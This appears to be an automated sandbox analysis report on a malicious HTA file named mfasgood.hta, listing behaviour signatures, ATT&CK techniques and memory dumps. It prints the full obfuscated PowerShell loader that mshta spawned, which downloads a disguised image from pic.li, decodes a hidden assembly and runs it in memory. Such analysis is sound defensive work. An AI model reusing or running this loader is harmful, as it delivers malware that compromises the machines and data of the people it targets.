Analysis
- max time kernel
148s - max time network
111s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
16/09/2026, 18:47
General
- Target mfasgood.hta
- Size 807KB
- Sample260916-xfdafscf82
- SHA256 8e7af0d5af18f6d4eef967c54ce2063ecca6ec6203723d087d7768d89a5b5623
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
exe.dropper
https://pic.li/images/MSI_PRO_Latest.jpeg
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\mfasgood.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('$cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi=''https://pic.li/images/MSI_PRO_Latest.jpeg''; $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi = [System.Net.HttpWebRequest]::Create($cevafejamotuhofizirawogininuseyenegogavukogewuyahunopuvohacehakefavuzafimuganepumecupacirexivahehobi); $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.UserAgent = ''Mozilla/5.0''; $cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo = $yivelesaqesugihibaqatesequfabukinipadoxagigemuqejurejasoxemidexenubakunoziteriqugezuwazubelemililexi.GetResponse().GetResponseStream(); $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa = New-Object IO.StreamReader($cebigigakarezeqakopohopufiziqanicihoyewiwanuxegepihagayudecozizahusikidigajehimenegojihelayesabedifo); $sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya = $qikufapubenizidodegerobapadoqevifopecixasosutuhicevutatowuloweyosocefomekegetazovahamivulusegoyikixa.ReadtoEnd(); $daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu=''IN-''; $bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza=''-in1''; $quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu); $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.LastIndexOf($bebamojewoqavozipejiqarisumawovogigawavequzofevitofeladicucixomirusetuhilikotedekidanimowajohesuzeza); if($quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo -eq -1 -or $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro -eq -1){return}; $hokatidecakujonedisolehiqazuyijufimijabavuwevihowewefeqazimicohumanexiqebuyugabiqiquxevazusupuzetira=$quxigalegavojomajoroluteviqonoxiratemehaqefinalajivoduqozahilawosaviliyakemomopaxofiqejajiwedaculopo+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length; $lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi=$sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.Substring($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length, $qupesuzepapadesoyiqivoqurelazahawuyasazaloxotosivebavofagibayopapoyunediwogudanemuvacuxafidalufojaro-($sujalakeveyegecolibuheqijuxolusepuxovakeduweyivuhelocahiyeluhebokeleseloregudevijoluhetahefulimefeya.IndexOf($daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu)+$daqilimomonalurafijorezaselayolawilociyutexobukazayezugovuyapudanepagipameqanehewewuponawegupidikixu.Length)); $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi=$lagopiqekorazuyegegezazawucinedihogajevubahiwurujofesenewoluyeqoposehikohenodikubomacanefoquxivamahi.Replace(''*'',''A'').ToCharArray(); $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa = -join $yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi[($yawazusocatugahafacelomafuyemibofedofiwuvevihacetetedofiwetikatozajedehidaxuqunisoceqiwafojoxahujofi.Length - 1)..0]; $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito = [Type]::GetType(''System.Convert''); [byte[]]$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu = $vacomolujigapolaqopemumubiloficuqovaxewovasixazujitujacufonefatiheyehoqiwihahobehigetecahigalumidito.GetMethod(''FromBase64String'').Invoke($null, (, $yitexujasocumuxipagohedimojeqeciyowizuqinusetapohoyohejadicikowubosadebomunitubusugadujewupamutonoqa)); $sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi=[AppDomain]::CurrentDomain.GetType().GetMethod(''Load'', [byte[]]); $zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe=$sutinevakawixopefegonizupowafiqimituniwikofazojuhejavenixejemoqeqidoligezusoxigevubotarisinedasejaxi.Invoke([AppDomain]::CurrentDomain, (,$toyegibayivojikoqovorahisugosujuyohubavalurenixawehategeqenaxumiramanumokevudipirupaxilaxayelevupulu)); $betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe=(''NqhiJ6EfTp6E04lsyxlluzYvfYdGz1w4607ElHLVamPg1HYHMco6RzuW2/JCC7bhIVck8RlfwVWH1wyXmn0OJw=='','''',''t3ZET90eegYzbfa5LfVuh/MQeejD+0PB87H4jaOHeqlGr+mVxjJoJnDF1XWA+mUd'',''VIxmtcEFgPqiMLNFobxMBNTI0tUz9w1qllvKae1Vnf8='',''8LAYhhhdLYjveDcwRmQSatgvwOuKY4GKs0Na/e5QJcw='','''',''nXLr4/kfZUfEYRHCwsxX0pRlRi+dFQrIbmoX5Qd6OE0='','''',''U21UkwaBjg1XEVBLqiFZOGPwjQ4bnMZVAwmEjmb9UtA='',''Z4bTHjMc3bFSLZLVSxVw1ZNK2itKe3/UvhLWSd5UbMf04XIfXGRHkAUkYAEL8O03'',''8jabn2Z++8fWHT8qqjzplkUebY/u87ZbhJng/tYPkA8='',''ykHI61dGv5YYlXYzamtfbyrctZI4nhBL5tTBjsl+mAQ='',''ozRQYhEPsuRK3+kkFcGistUkBdNpAuP0PU7MVAKh//M='','''',''fW0OqXhDpIASUAy/ZUI3D83gmLBcBGcP9nFEgDegktA='',''dcNZqEPRdANDWGKSeAZIbZzZCgGzjHm6NlOlPm2BDUU='','''','''',''''); try{ $xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo=($zarudaciwefiqegogumebeduvokusalopekefacezugetudejemukenuqipowijupogicocefidujobogisaxorujutatorikoqe.GetTypes() | Where-Object Name -eq ''gfffffffffffffffffffffffffff'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime=($xenakarojurutoguguraniwoxuweworihorenapirunoqigumogemoximedaruqohilaxedubunuhoduxanuhoneqesayiqinuzo.GetMethods() | Where-Object Name -eq ''hhhhhhhhhhhhhhhhhhhhhhhhh'' | Select-Object -First 1); $lujorohivavuvolopeqarolehuwatunakifilunoqenufageyudepoyofupocoxudatasodacucewavoluwurohabodeninebime.Invoke($null,[object[]]$betupobuvonuyemafiloqepejavefizimozisejisuququxisakecinulakalojozageluzitohasanocibolujinokurusuxibe) }catch{}'))"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
memory/4172-0-0x00007FFF8C3FF000-0x00007FFF8C400000-memory.dmp
memory/4172-1-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-5-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-2-0x00000225C8670000-0x00000225C8692000-memory.dmp
memory/4172-6-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-7-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-8-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-9-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-10-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-11-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-12-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-13-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-14-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-15-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-16-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-17-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp
memory/4172-19-0x00000225E0F50000-0x00000225E1058000-memory.dmp
memory/4172-20-0x00007FFF8C270000-0x00007FFF8CC14000-memory.dmp